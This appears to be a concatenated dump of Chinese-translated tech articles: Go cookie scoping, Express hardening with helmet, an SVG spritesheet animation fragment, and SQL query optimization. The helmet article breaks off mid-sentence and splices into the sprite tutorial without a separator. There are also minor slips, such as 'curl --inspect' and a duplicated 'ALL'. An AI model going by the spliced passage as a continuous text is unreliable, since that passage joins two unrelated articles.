Cookie 所有子域的权限。不过这是 Cookie 的默认值,因此其实你什么都不用做就能将 Cookie 的权限限制在某个特定域中。 但是,如果你需要与子域共享 Cookie,你可以这么做: ``` c := Cookie{ // 根据主机模式的默认设置,Cookie 进行的是精确域名匹配。 // 因此请仅在需要的时候开启子域名权限! // 下面的代码可以让 Cookie 在 yoursite.com 的任何子域下工作: Domain: "yoursite.com", } ``` **欲了解更多有关域的信息,请参阅 [https://tools.ietf.org/html/rfc6265#section-5.1.3](https://tools.ietf.org/html/rfc6265#section-5.1.3)。你也可以在这儿阅读源码,参阅其默认设置:[https://golang.org/src/net/http/cookie.go#L157](https://golang.org/src/net/http/cookie.go#L157).** **你可以参阅 [这个 stackoverflow 的问题](https://stackoverflow.com/questions/18492576/share-cookie-between-subdomain-and-domain) 了解更多信息,弄明白为什么在为子域使用 Cookie 时不需要提供子域前缀.此外 Go 源码链接中也可以看到如果你提供前缀名的话会被自动去除。** 除了将 Cookie 的权限限制在特定域上之外,你还可以将 Cookie 限制于某个特定的目录路径中。 ``` c := Cookie{ // Defaults 设置为可访问应用的任何路径,但你也可以 // 进行如下设置将其限制在特定子目录下: Path: "/app/", } ``` 还有你也可以对其设置路径前缀,例如 `/blah/`,你可以参阅下面这篇文章了解更多这个字段的使用方法:[https://tools.ietf.org/html/rfc6265#section-5.1.4](https://tools.ietf.org/html/rfc6265#section-5.1.4). ## 为什么我不使用 JWT? 就知道肯定会有人提出这个问题,下面让我简单解释一下。 可能有很多人和你说过,Cookie 的安全性与 JWT 一样。但实际上,Cookie 与 JWT 解决的并不是相同的问题。比如 JWT 可以存储在 Cookie 中,这和将其放在 Header 中的实际效果是一样的。 另外,Cookie 可用于无需验证的数据,在这种情况下了解如何增加 Cookie 的安全性也是必要的。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/securing-your-express-app.md ================================================ > * 原文地址:[Putting the helmet on – Securing your Express app](https://www.twilio.com/blog/2017/11/securing-your-express-app.html) > * 原文作者:[Dominik Kundel](https://www.twilio.com/blog/author/dominik) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/securing-your-express-app.md](https://github.com/xitu/gold-miner/blob/master/TODO/securing-your-express-app.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[swants](http://www.swants.cn) # 为你的网站带上帽子 — 使用 helmet 保护 Express 应用 ![](https://www.twilio.com/blog/wp-content/uploads/2017/11/4Txtn2Pl8SQnB241Dz1jvqSmUCLJksk6M97TAJYyNHPsIZE8Q9PA1NKBYZtua-v2C5UqpyBKBCFr2SaljImM2DGDGkK-XfJs1mfMkbJ7_Sc_hGP4Q70cnqgJHpVjd7NYIgjU4AJj.png) [Express](https://expressjs.com/) 基于 [Node.js](https://nodejs.org/),是一款用于构建 Web 服务的优秀框架。它很容易上手,且得益于其中间件的概念,可以很方便地进行配置与拓展。尽管现在有[各种各样的用于创建 Web 应用的框架](https://www.twilio.com/blog/2016/07/how-to-receive-a-post-request-in-node-js.html),但我的第一选择始终是 Express。然而,直接使用 Express 不能完全遵循安全性的最佳实践。因此我们需要使用类似 [`helmet`](https://helmetjs.github.io/) 的模块来改善应用的安全性。 ### 部署 在开始之前,请确认你已经安装好了 Node.js 以及 npm(或 yarn)。你可以[在 Node.js 官网下载以及查看安装指南](https://nodejs.org/en/download/)。 我们将以一个新的工程为例,不过你也可以将这些功能应用于现有的工程中。 在命令行中运行以下命令创建一个新的工程: ``` mkdir secure-express-demo cd secure-express-demo npm init -y ``` 运行以下命令安装 Express 模块: ``` npm install express --save ``` 在 `secure-express-demo` 目录下创建一个名为 `index.js` 的文件,加入以下代码: ``` const express = require('express'); const PORT = process.env.PORT || 3000; const app = express(); app.get('/', (req, res) => { res.send(`

            Hello World

            `); }); app.listen(PORT, () => { console.log(`Listening on http://localhost:${PORT}`); }); ``` 保存文件,试运行看看它是否能正常工作。运行以下命令启动服务: ``` node index.js ``` 访问 [http://localhost:3000](http://localhost:3000),你应该可以看到 `Hello World`。 ![hello-world.png](https://www.twilio.com/blog/wp-content/uploads/2017/11/iWq7mudUzwNSEw_IBcqBqZ9ah771qXS-SOzOng3EGIkBPVG6LoDhADeDKyCCFiF53KKrU0ZIDhEeSDz4HdjRzK3JsvigkR5wq4vYMLQS9ffmGhZ_omI9oBvTocxI_7QPLeUcsPNT.png) ### 检查 Headers ![giphy.gif](https://www.twilio.com/blog/wp-content/uploads/2017/11/M4qx6F5BhzDuSPYBHPEx74-xorzQFM8qD-Zi7FPS4In-cPvifztKGkHsRKE7wInEw9w6717-_GAC3HczMoXtFo-otYsS3DGTwQsj1IwdBw1gnssD2fW-sMdPuTz2QxBCcseUyIgP.png) 现在让我们通过增加与删除一些 HTTP headers 来改善应用安全性。你可以用一些工具来检查它的 headers,例如使用 `curl` 运行以下命令: ``` curl http://localhost:3000 --include ``` `--include` 标志可以让其输出 response 的 HTTP headers。如果你没有安装 `curl`,也可以用你最常用浏览器开发者工具的 network 面板代替。 你可以看到在收到的 response 中包含的以下 HTTP headers: ``` HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/html; charset=utf-8 Content-Length: 20 ETag: W/"14-SsoazAISF4H46953FT6rSL7/tvU" Date: Wed, 01 Nov 2017 13:36:10 GMT Connection: keep-alive ``` 一般来说,由 `X-` 开头的 header 是非标准头部。请注意那个 `X-Powered-By` 的 header,它会暴露你使用的框架。对于攻击者来说,这可以降低攻击成本,因为他们只专注攻击此框架的已知漏洞即可。 ### 戴上头盔(helmet) ![giphy.gif](https://www.twilio.com/blog/wp-content/uploads/2017/11/24T5xMrL0RCEEObLniOCuiZ4f4p-w6QUJWDJb4UlbayqlUnzn51IvLbbWH04jjVi1GxRzUX12_lseIPgJo0ZeW3TbO6ArTOS_B32kjbeUWfxb6qKp0_HNHbwolL40zF_1gCr3dbC.png) 来看看如果我们使用 `helmet` 会发生什么。运行以下命令安装 `helmet`: ``` npm install helmet --save ``` 将 `helmet` 中间件加入你的应用中。对 `index.js` 进行如下修改: ``` const express = require('express'); const helmet = require('helmet'); const PORT = process.env.PORT || 3000; const app = express(); app.use(helmet()); app.get('/', (req, res) => { res.send(`

            Hello World

            `); }); app.listen(PORT, () => { console.log(`Listening on http://localhost:${PORT}`); }); ``` 这样就使用了 `helmet` 的默认配置。接下来看看它做了什么事情。重启服务,再次通过以下命令检查 HTTP headers: ``` curl http://localhost:3000 --inspect ``` 新的 headers 会类似于下面这样: ``` HTTP/1.1 200 OK X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: text/html; charset=utf-8 Content-Length: 20 ETag: W/"14-SsoazAISF4H46953FT6rSL7/tvU" Date: Wed, 01 Nov 2017 13:50:42 GMT Connection: keep-alive ``` 首先值得庆祝的是 `X-Powered-By` header 不见了。但现在又多了好些新的 header,它们是做什么的呢? #### X-DNS-Prefetch-Control 这个 header 对增加安全性并没有太大作用。它的值为 `off` 时,将关闭浏览器对页面中 URL 的 DNS 预读取。DNS 预读取可以提高你的网站的性能,根据 MDN 描述,它可以[增加 5% 或更高的图片加载速度](https://developer.mozilla.org/zh-CN/docs/Controlling_DNS_prefetching)。不过开启这项功能也可能会使用户在多次访问同一个网页时缓存出现问题。 > 译注:缓存问题未查到资料,如果您了解这块请留言 它的默认值是 `off`,如果你希望通过它提升性能,可以在调用 `helmet()` 时传入 `{ dnsPrefetchControl: { allow: true }}` 开启 DNS 预读取。 #### X-Frame-Options `X-Frame-Options` 可以让你控制页面是否能在 ``、` See the Pen [dYNJyR](http://codepen.io/eighthday/pen/dYNJyR/) by eighthday ([@eighthday](http://codepen.io/eighthday)) on [CodePen](http://codepen.io). #### HTML & CSS 我们所作的就是给一个 HTML 元素赋予背景,并固定其宽高,这样我们仅能在每一刻看到一个 sprite。 > 如果你使用不少于一个动画,你可以合并 spritesheets 减少 HTTP 请求。
            #mySpritesheet { background: url('my.svg'); width: 100px; height: 100px; } #### JavaScript TimelineMax 提供一个很方便的方法定义我们如何更新背景位置,以及让我们很好的控制我们的动画。如果复杂程度渐增,这就变得很有价值了。 > 你可以使用一个 Timeline 来控制多个动画,使得一连串 spritesheets 尽可能的同步。 首先我们定义动画的参数 var svg = $("#mySpritesheet") var totalFrames = 22; var frameWidth = 162 var speed = 0.9; 然后算出我们希望背景滚动的距离 var finalPosition = '-' + (frameWidth * totalFrames) + 'px 0px'; 然后创建TimelineMax 和 SteppedEase 的实例,定义我们的时间轴将耗费多少帧 var svgTL = new TimelineMax() var svgEase = new SteppedEase(totalFrames) 最后我们在一个 tween,将所有内容关联起来 Finally we put it all together in a tween svgTL.to(svg, speed, { backgroundPosition: finalPosition, ease: svgEase, repeat: -1, }) ## 获得控制 在这阶段,你也许在想最后的结果不就是一个会动的 GIF 嘛(这个世界的确需要更多的会动的 GIF),不同的是,我们可以完全的控制我们的动画,我们可以停止、反转、循环、甚至与用户交互时,临时的替换另一个 sprite 去完成复杂的动画。 ================================================ FILE: TODO/sql-tutorial-how-to-write-better-queries.md ================================================ > * 原文地址:[SQL Tutorial: How To Write Better Queries](https://medium.com/towards-data-science/sql-tutorial-how-to-write-better-queries-108ae91d5f4e) > * 原文作者:[Karlijn Willems](https://medium.com/@kacawi) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/sql-tutorial-how-to-write-better-queries.md](https://github.com/xitu/gold-miner/blob/master/TODO/sql-tutorial-how-to-write-better-queries.md) > * 译者:[临书](https://github.com/tmpbook) > * 校对者:[steinliber](https://github.com/steinliber), [xiaoyusilen](https://github.com/xiaoyusilen) # SQL 指引:如何写出更好的查询 结构化查询语言(SQL)是数据科学行业的一种不可或缺的技能,一般来说,学习这项技能是相当简单的。然而大多数人都忘记 SQL 不仅仅是写查询语句,这只是第一步。确保查询高性能,或者符合上下文语意又完全是另外一回事了。 这就是为什么本篇 SQL 教程要引导你,可以通过以下步骤来评估你的查询: - 首先,你将以数据科学工作中[学习 SQL 的重要性](https://www.datacamp.com/community/tutorials/sql-tutorial-query#importance)的简要概述为开始。 - 接着,你将学习更多有关如何[ SQL 查询处理和执行](https://www.datacamp.com/community/tutorials/sql-tutorial-query#execution),这样你才能够正确地理解编写高性能查询的重要性:更具体地说,你会看到查询被解析,重写,优化和最终被执行; - 考虑到这一点,你不仅可以复习初学者编写查询时的一些[反模式查询](https://www.datacamp.com/community/tutorials/sql-tutorial-query#antipattern),而且还可以学习关于针对那些可能出现的错误的替代和解决方案,你还将学习更多有关[基于集合还是程序方法](https://www.datacamp.com/community/tutorials/sql-tutorial-query#setbased)进行查询的内容。 - 你还将看到这些出于性能问题考虑的反模式,除了“手动”方法改进 SQL 查询之外,你还可以通过使用一些其他可帮助你查看查询计划的工具,以更加结构化,深入的方式[分析你的查询](https://www.datacamp.com/community/tutorials/sql-tutorial-query#queryplan);而且, - 在执行查询之前,你将简要了解[时间复杂度和大 O 符号](https://www.datacamp.com/community/tutorials/sql-tutorial-query#bigo)来在你执行查询之前了解执行计划的时间复杂度;最后, - 你将简要地了解如何进一步[调整你的查询](https://www.datacamp.com/community/tutorials/sql-tutorial-query#tune)。 ![](https://cdn-images-1.medium.com/max/1600/0*zaI1WPqkM52wDdC-.jpeg) 你对 SQL 课程感兴趣吗?那就来学习 DataCamp 的[数据科学的 SQL 简介](https://www.datacamp.com/courses/intro-to-sql-for-data-science)课程吧! ### 为什么我应该为数据科学学习 SQL? SQL 远未消亡:无论你是申请数据分析师,数据工程师,数据科学家还是[任何其他职位](https://www.datacamp.com/community/tutorials/data-science-industry-infographic),你都可以从数据科学行业的职位描述中发现 SQL 是最需要的技能之一。参加 O'Reilly 数据科学工资调查报告的 70% 的受访者证实了这一点,他们表示他们会在专业场景中使用 SQL。而且,在本次调查中,SQL(70%)远胜于 R(57%)和 Python(54%)编程语言。 你得知一个情况:当你正在努力找数据科学行业的工作时,SQL 是一项必须具备的技能。 对于一个20世纪70年代初开发的语言来说,还不错,对吧? 但是为什么被使用的如此频繁?为什么 SQL 不会消失,即使它已经存在了很长时间了? 有几个原因:第一个原因是大多数公司将数据存储在关系型数据库管理系统(RDBMS)或关系数据流管理系统(RDSMS)中,你需要 SQL 才能访问这些数据。 SQL 是数据的通用语言:它使你能够与几乎任何数据库进行交互,甚至可以在本地建立自己的数据库! 如果这还不够,请记住有很多 SQL 的实现在供应商之间不兼容,并不一定遵守标准。因而,了解标准 SQL 是你在(数据科学)行业中找到一条路的要求之一。 除此之外,可以肯定地说,SQL 也被更新的技术所接受,例如 Hive,用于查询和管理大型数据集的类 SQL 查询语言界面,或可用于执行 SQL 查询的 Spark SQL。虽然你发现标准可能与你已知的有所不同,但学习曲线将会更加容易。 如果你想做一个比较,认为它和学线性代数一样:通过把所有的精力放在这个主题上,你甚至可以使用它来掌握机器学习! 简而言之,这就是为什么你应该学习这门查询语言: - 即使对于新手它也是相当容易学习的。学习曲线是相当容易和平滑的,以至于在学习的任何阶段你都能写出查询。 - 遵循“一旦学习,处处适用”的原则,所以这是一个对你时间的伟大投资! - 它是对编程语言的极好补充; 在某些情况下,编写查询甚至比编写代码更为优先,因为它性能更高! - … 你还在等什么呢? ### SQL 处理 & 查询执行 为了提高你 SQL 查询的性能,当你按快捷方式运行查询时,你首先需要知道内部发生了什么。 首先,查询被解析成“解析树”;分析查询,看是否符合语法和语义要求。解析器创建输入查询的内部表示。然后将输出传递给重写引擎。 然后,优化器的任务是找到给定查询的最佳执行或查询的计划。执行计划准确地定义了每个操作使用什么算法,以及如何协调操作的执行。 为了找到最佳的执行计划,优化器列举所有可能的执行计划,确定每个计划的性质或成本,获取有关当前数据库状态的信息,然后选择其中最佳的一个作为最终的执行计划。由于查询优化器可能并不完善,因此数据库用户和管理员有时需要手动检查并调整优化器生成的计划以获得更好的性能。 现在你可能想知道什么是一个“好的查询计划”。 如你所见,一个计划的质量在查询中起着重要的作用。更具体地说,评估计划所需的磁盘 I/O,CPU成本和数据库客户端可以观察到的总体响应时间以及总执行时间等因素至关重要。这就涉及到了时间复杂度的概念,在后面你将会看到更多与此相关的内容。 接下来,执行所选择的查询计划,由系统的执行引擎进行评估并返回查询结果。 ![](https://cdn-images-1.medium.com/max/1600/0*0nMJKb-YmCGAsrdX.png) 在上节中描述的可能不是很清楚的是,Garbage In, Garbage Out(GIGO)原则在查询处理和执行中会自然地显现:制定查询的人掌握着你 SQL 查询性能的关键,如果优化器得到的是一个不好的查询语句,那么那么它也只能做到这么多... 这意味着*你*在编写查询时可以执行一些操作。如你在介绍中所见,责任是双重的:它不仅仅是写出符合一定标准的查询,而且还涉及收集查询中性能问题可能潜伏在哪里的意识。 一个理想的出发点是在你的查询中考虑可能会潜入问题的“地方”。新手通常会在以下四个子句和关键字中遇到性能问题。 - `WHERE` 子句 - 任何 `INNER JOIN` 或 `LEFT JOIN` 关键字; 还有, - `HAVING` 子句; 当然,这种方法简单而原始,但作为初学者,这些子句和声明是很好的指引,而且确切地说,当你刚开始时,这些地方就是容易出错的地方,更讽刺的是这些错误很难被发现。 然而,你也应该意识到,性能只有在实际场景中才有意义:只是单纯的说这些子句和关键字是不好的没有任何意义。当然,查询中有 `WHERE` 或 `HAVING` 子句不一定意味着这是一个坏的查询... 查看以下内容,了解更多有关的构建查询的反模式和可替代的方法。这些提示和技巧可作为指导。如何重写以及是否真的需要重写取决于数据量,数据库,以及查询所需的次数等等。它完全取决于你查询的目标,并且有一些你要查询的数据库的之前的了解也是至关重要的! ### 1. 仅检索你需要的数据 当编写 SQL 查询时,「数据越多越好」的思维方式是不应该的:获取比你实际需求更多的数据不仅会有看错的风险,而且性能可能会因为查询太多数据而受到影响。 这就是小心处理 `SELECT` 语句,`DISTINCT` 子句和 `LIKE` 运算符是个不错的主意。 当你写好你的查询时,你能检查的第一件事情就是 `SELECT` 语句是否已经是最紧凑了。你的目标应该是从 `SELECT` 中删除不必要的列。这样,你强制自己只提取符合查询目的的数据。 如果具有 `EXISTS` 的相关子查询,则应尝试在该子查询的 `SELECT` 语句中使用常量,而不是选择实际列的值。当你只检查数据是否存在时,这是特别方便的。 **记住**相关子查询是使用外部查询中的值的子查询。注意,尽管 `NULL` 可以在此上下文中当作“常量”使用,但是这会令人非常困惑! 考虑下面这个例子,并理解使用常量的意义在哪: SELECT driverslicensenr, name FROM Drivers WHERE EXISTS (SELECT '1' FROM Fines WHERE fines.driverslicensenr = drivers.driverslicensenr); **提示**:可以很方便知道,使用相关子查询通常不是一个好主意。你应该考虑使用 `INNER JOIN` 重写来避免它们: SELECT driverslicensenr, name FROM drivers INNER JOIN fines ON fines.driverslicensenr = drivers.driverslicensenr; `SELECT DISTINCT` 语句是用来返回不同的值的。如果可以,你应该你要尽量避免使用 `DISTINCT` 这个子句;就像你在其他例子中看到的一样,如果你把这个子句添加到你的查询中,执行时间肯定会增加。因此,经常考虑是否真的需要 `DISTINCT` 操作来获取想要的结果是一个好主意。。 当你在一个查询中使用 `LIKE` 操作符时,如果匹配模式以 `%` 或者 `_` 开始,那么是不会使用索引的。它将阻止数据库使用索引(如果存在)。当然,在另一个方面看,这种类型的查询会潜在地返回过多的记录,这不一定满足你的查询目标。 再次,你对存储在数据库中的数据的了解程度可以帮助你制订一个模式,这可以帮助你从所有数据中正确过滤出和你的查询真正相关的行。 ### 2. 不要输出太多结果 当你不能过滤掉 `SELECT` 语句中的列时,你可以考虑用其他方法限制你的结果。以下是 `LIMIT` 语句和数据类型的转换方法。 你可以通过为查询添加 `LIMIT` 或者 `TOP` 子句来为查询结果设置最大行数。这儿是一些例子: SELECT TOP 3 * FROM Drivers; **注意** 你可以进一步指定 `PERCENT`,比如,你可以通过 `SELECT TOP 50 PERCENT *` 这个查询语句来替换第一行。 SELECT driverslicensenr, name FROM Drivers LIMIT 2; 此外,你还可以添加 `ROWNUM` 子句,这相当于在查询中使用 `LIMIT`: SELECT * FROM Drivers WHERE driverslicensenr = 123456 AND ROWNUM <= 3; 你应该始终使用最有效的,也就是最小的数据类型。当小的数据类型已经足够的时候你提供一个巨大的数据类型总是有风险的。 然而,当你将数据类型转换添加到查询中时,你肯定增加了它的执行时间。 一个替代方案是尽量避免数据类型转换。但是还要注意,数据类型转换不是总能从查询中被删除或者省略的,而且当你在查询语句包含它们的时候一定要注意,你可以在执行查询之前测试添加它们的影响。 ### 3. 不要让查询比需求更复杂 数据类型转换将你带到了下一个关键点:你不应该过度设计你的查询。试着保持简单高效。作为一个提示,这可能看起来太简单或者愚蠢了,特别是在查询可能变得复杂的情况下。 然而,你将会在下一部分提到的示例中看到,你可以很轻松的把本应更复杂的查询变得简单。 当你在你的查询里使用 `OR` 操作符时,很可能你没有使用索引。 **记住**索引是一种数据结构,可以提高数据库表中的数据检索速度,但它是有代价的:它需要额外的写入和额外的存储空间来维护索引结构。索引用来快速定位或查找数据而无需在每次访问数据库时查询每一行。索引可以使用数据库表中的一列或多列来创建。 如果你不使用数据库包含的索引,你的查询会花费更长的时间来执行。这就是为什么最好在查询中找到使用 `OR` 运算符的替换方案; 考虑以下查询: SELECT driverslicensenr, name FROM Drivers WHERE driverslicensenr = 123456 OR driverslicensenr = 678910 OR driverslicensenr = 345678; 你可以将运算符替换为: SELECT driverslicensenr, name FROM Drivers WHERE driverslicensenr IN (123456, 678910, 345678); - 包含 `UNION` 的两个 `SELECT` 语句。 **提示**:这儿你需要小心,没有必要就不要使用 `UNION` 运算符,因为你会多次查询同一个表多次,这是不必要的。同时,你必须意识到当你在查询语句里使用 `UNION` 时,执行时间会变长。`UNION` 操作符的替代是:将所有条件都放在一个 `SELECT` 结构中,或者使用 `OUTER JOIN` 替代 `UNION` 来重新构建查询。 **提示**:在这里也要记住的一点是,尽管 `OR` 以及下面将要提到的其他运算符可能不使用索引,索引查找不总是更好的。 就像 `OR` 运算符一样,当你的查询包含 `NOT` 操作符时,也很可能不使用索引。这将不可避免的减慢你的查询。如果你不明白这是什么意思,考虑下以下查询: SELECT driverslicensenr, name FROM Drivers WHERE NOT (year > 1980); 这个查询跑起来肯定比你预料还要慢,主要是因为它构建的太过于复杂了:在这样的情况下,最好寻找一个替代方案。考虑使用比较运算符替换 `NOT`,比如 `>`,`<>` 或者 `!>`;上面的例子可能会被重写为这样: SELECT driverslicensenr, name FROM Drivers WHERE year <= 1980; 看起来已经更加整洁了,不是吗? `AND` 是另一个不使用索引的操作符,如果以过于复杂和低效的方式使用,它会减慢你的查询,就像下面的例子: SELECT driverslicensenr, name FROM Drivers WHERE year >= 1960 AND year <= 1980; 最好使用 `BETWEEN` 运算符重写这个查询: SELECT driverslicensenr, name FROM Drivers WHERE year BETWEEN 1960 AND 1980; `ALL` 和 `ALL` 运算符你也应该小心使用,将他们包含进查询中会导致不使用索引。替代方法使用聚合功能,在这里比较方便的方法是使用像 `MIN` 或者 `MAX` 的聚合函数。 **提示**:在你使用所提出的方案的情况下,你应该意识到,所有的聚合函数比如 `SUM`,`AVG`,`MIN`,`MAX` 在多行的时候会导致很长时间的查询,在这种情况下,你可以尝试减少要处理的行数或预先计算这些值。当你决定使用哪个查询时,最重要的是清楚你的环境和查询目标。 在使用列进行计算或者列作为标量函数的参数时,也是不会使用索引的。一个特定的解决方案是简单的隔离这个特殊列,使其不再是计算或者函数的一部分或参数。请考虑一下示例: SELECT driverslicensenr, name FROM Drivers WHERE year + 10 = 1980; 这看起来很有趣,是不?相反,试着重新考虑如何计算,然后像这样重写查询: SELECT driverslicensenr, name FROM Drivers WHERE year = 1970; ### 4. 不要暴力查询 最后一个提示,你不应该总是太限制查询,因为这也会影响性能。特别是 `join` 语句和 `HAVING` 子句。 当你对两个表使用 `join` 时,考虑你 join 的两张表的顺序是很重要的。如果一张表比另一张大很多,你最好重写你的查询让最大的表最后做 join 操作。 - **减少 Joins 的条件** 当你加了太多的条件到你的 joins 语句,你有义务选择一个特定的路径,虽然这个路径并不总是最高效的那个。 将 `HAVING` 子句添加进 SQL 是因为 `WHERE` 关键字不能和聚合方法一起使用。`HAVING` 的典型的用法就是和 `GROUP BY` 子句来约束分组聚合后的结果,使其满足一些精确匹配条件。然而,你知道的,使用这个子句是不会用到索引的,会导致查询不能很好的执行。 如果你在寻找替代的方案,考虑使用 `WHERE` 子句,请看如下的查询: SELECT state, COUNT(*) FROM Drivers WHERE state IN ('GA', 'TX') GROUP BY state ORDER BY state SELECT state, COUNT(*) FROM Drivers GROUP BY state HAVING state IN ('GA', 'TX') ORDER BY state 第一个查询使用 `WHERE` 子句限制需要求和的行数,而第二个查询对表中的所有行进行了求和,然后使用 `HAVING` 子句来舍弃其中的部分。在这种情况下,选择使用 `WHERE` 子句显然是更好的,因为你不会浪费任查询资源。 你会发现,这并不是限制最终结果集,而是限制查询中的中间记录的数量。 **注意** 这两个子句之间的区别在于,`WHERE` 子句引入了单行的条件,而 `HAVING` 子句引入了一个选择集合或结果的条件,比如 `MIN`,`MAX`,`SUM`,… 这些都已经从多行生成了的。 你看,当你想以尽可能的提高性能为前提的时候,评估语句质量,构建查询还有改写查询并不是一件容易的工作;当你构建运行在专业环境中的查询的时候,避免反模式和考虑替代方案也将成为你责任的一部分。 这个清单只是一些小的反模式的概述和技巧,可能对新手有些帮助;如果你想了解更多高级开发人员常见的反模式,查看 stackoverflow 的[这个讨论](https://stackoverflow.com/questions/346659/what-are-the-most-common-sql-anti-patterns)。 ### 基于集合与程序方法的查询 上述反模式隐含的点实际上归结为基于集合与程序方法构建查询的差异。 程序方法的查询是一种很像编程的一种查询方式:你告诉系统做什么,怎么做。 一个例子是你使用冗余的连接操作或者滥用 `HAVING` 子句的情况下,就像上面的例子,你可以通过执行一个函数调用另一个函数来查询数据库,或者使用包含循环,用户定义方法,游标等,来获取最终结果。在这个方法中,你会经常发现你自己请求一个数据的子集,然后再请求这个数据的子集等等。 毫不奇怪,这个方法经常被称为「逐步」或者「逐行」查询。 另一种方法是基于集合的方法,你只需要指定做什么。你的职责包含从查询中指定要获得的结果集的条件或要求。至于你的数据是如何获取到的,这取决于内部决定查询实现的机制:让数据库引擎来确定查询最好的算法和执行逻辑。 由于 SQL 是基于集合的,这种方法(基于集合)比程序方法更有效几乎不会让人感到惊讶,这也是一个惊喜,也解释了为什么在某些情况下,SQL 可以比代码更快的工作。 **提示** 在查询中基于集合的方法也是数据科学行业最顶级的雇主所要求你掌握的方法!你经常需要在这两种方法之间切换。 **注意** 如果你发现你自己有程序类型的查询,你应该考虑重写或者重构它。 ### 从查询到执行计划 -------------知道反模式不是静态的,而是随着你做为 SQL 开发者的成长而演进,当你考虑替代方案的时候也意味着你正在避免反模式查询和重写查询的这个事实,这是一个十分困难的任务。任何帮助都可以派上用场,这就是为什么使用一些工具通过更结构化的方式来优化你的查询或许是个不错的选择。 **注意** 还有一些上一节提到的反模式源于性能的问题的考虑,比如 `AND`,`OR` 和 `NOT` 操作符缺少索引的使用。对性能的思考不仅需要结构化的方法,还需要更多的深入的方法。 然而可能的是,这种结构化和深入的方法更多是基于查询计划的,即首先被解析为「解析树」,然后在确定每个操作具体使用什么算法,还有如何使执行操作更协调。 正如你在介绍中读到的,你可能需要手动检查优化器的生成计划。在这种情况下,你将需要通过查看查询计划来再次分析你的查询。 要掌握这种查询计划,你将需要使用数据库管理系统为你提供工具,你可以使用的工具如下: - 生成查询计划的图形表示的一些工具包,看以下这个例子: ![](https://cdn-images-1.medium.com/max/1600/0*-TmIkwjfmJvRLngf.gif) - 其他工具将能够为你提供查询计划的文本描述。一个例子是 Oracle 中的 `EXPLAIN PLAN` 语句,但指令的名称根据你使用的 RDBMS 而有所不同。在其他数据库,你可能会看到 `EXPLAN`(MySQL,PostgreSQL)或者 `EXPLAIN QUERY PLAN`(SQLite)。 **注意**如果你平时使用 PostgreSQL,你可以在 `EXPLAIN` 之间做出区分,这里你只得到了一个描述,它是说明还未执行的查询计划会如何执行,而 `EXPLAIN ANALYZE` 实际上执行了查询然后返回对预期与实际的查询计划的分析。一般来说,一个实际的执行计划就是一个实际的查询计划,虽然在逻辑上是等价的,一个实际的执行计划更为有用,因为它包含执行查询时实际发生的其他细节和统计信息。 [在本节的剩余部分](https://www.datacamp.com/community/tutorials/sql-tutorial-query),你将会学习到更多关于 `EXPLAIN` 和 `ANALYZE` 的信息,以及如何使用这两个去了解更多你的查询计划和查询性能的信息。 **提示**:如果你想了解更多关于 `EXPLAIN` 或更详细的查看实例,考虑阅读 Guillaume Lelarge 写的这本书 [“Understanding Explain”](http://www.dalibo.org/_media/understanding_explain.pdf)。 ### 时间复杂度和大 O 现在你已经简要的检查了查询计划,你可以在复杂度计算的帮助下开始更深入的研究具体的性能问题。理论计算机科学这一领域着重于根据难度对问题进行分类;这些计算问题可以是算法,也可以是查询。 然而,对于查询,你并不一定是根据他们的困难程度分类,而是根据运行它然后拿到返回结果的时间来分类。这个被叫做时间复杂度,你可以使用大 O 符号来表达和衡量这种复杂性。 使用大 O 符号,输入任意大时,你可以根据输入与运行时间的相对增长速度来衡量运行时间。大 O 表示法排除系数和低阶的项,以便于你关注查询运行时间的关键部分:增长率。当以这种方式表示时,丢弃系数与低阶的项,时间复杂度被认为是渐进式描述的。这意味着输入会变为无穷大。 在数据库语言中,复杂度衡量了数据库表数据增加之后,查询该表数据所花时间相对增加了多少的过程。 **注意**你的数据库大小不仅仅因为表里存储的数据增多而变大,索引在其中对大小影响也起了很大的作用。 正如前面所述,执行计划除了前面所说的以外,还定义了每一步操作使用什么算法,这使得每次查询执行的时间可以在逻辑上表示为查询计划中涉及表大小的函数。换句话说,你可以使用大 O 符号和执行计划预估查询的复杂性和性能。 在接下来的小节中,你会了解关于四种时间复杂度类型的一般概念,你将会看到一些示例,说明查询的时间复杂度如何根据你运行它们上下文的不同而有所不同的。 提示:索引是故事的一部分! **注意**,因为不同的数据库有不同类型的索引、不同的执行计划、不同的实现,所以下面列出的几个时间复杂度是很通用的,会根据你配置的不同而变化。 更多阅读在[这儿](https://www.datacamp.com/community/tutorials/sql-tutorial-query)。 总而言之,你可以查看[以下备忘单](http://bigocheatsheet.com/),以根据时间复杂度以及其执行情况估计查询的性能: ![](https://cdn-images-1.medium.com/max/1600/0*1-0Qyw-DIAsqJNA0.png) ### SQL 调优 考虑到查询计划和时间复杂性,你可以考虑进一步调整 SQL 查询,特别注意以下几点: - 大表的全表扫描替换为索引的扫描; - 确保你正在使用最佳的表连接顺序; - 确保的使用索引优化;还有 - 缓存小表的全表扫描。 祝贺!你已经看到了这篇博文的结尾,这只是帮助你对 SQL 查询性能的一瞥。你希望对反模式,查询优化器,审查工具,预估和解释查询计划的复杂性有更多的见解,然而,还有更多的东西等你去发现!如果你想知道更多,可以考虑读这本由R. Ramakrishnan 和 J. Gehrke 写的「Database Management Systems」。 最后,我不想错过这个来自 StackOverFlow 用户那里的引用 > 「我最喜欢的反模式不是测试你的查询。 > > 这适用于: > > - 你的查询涉及了不止一张表。 > > - 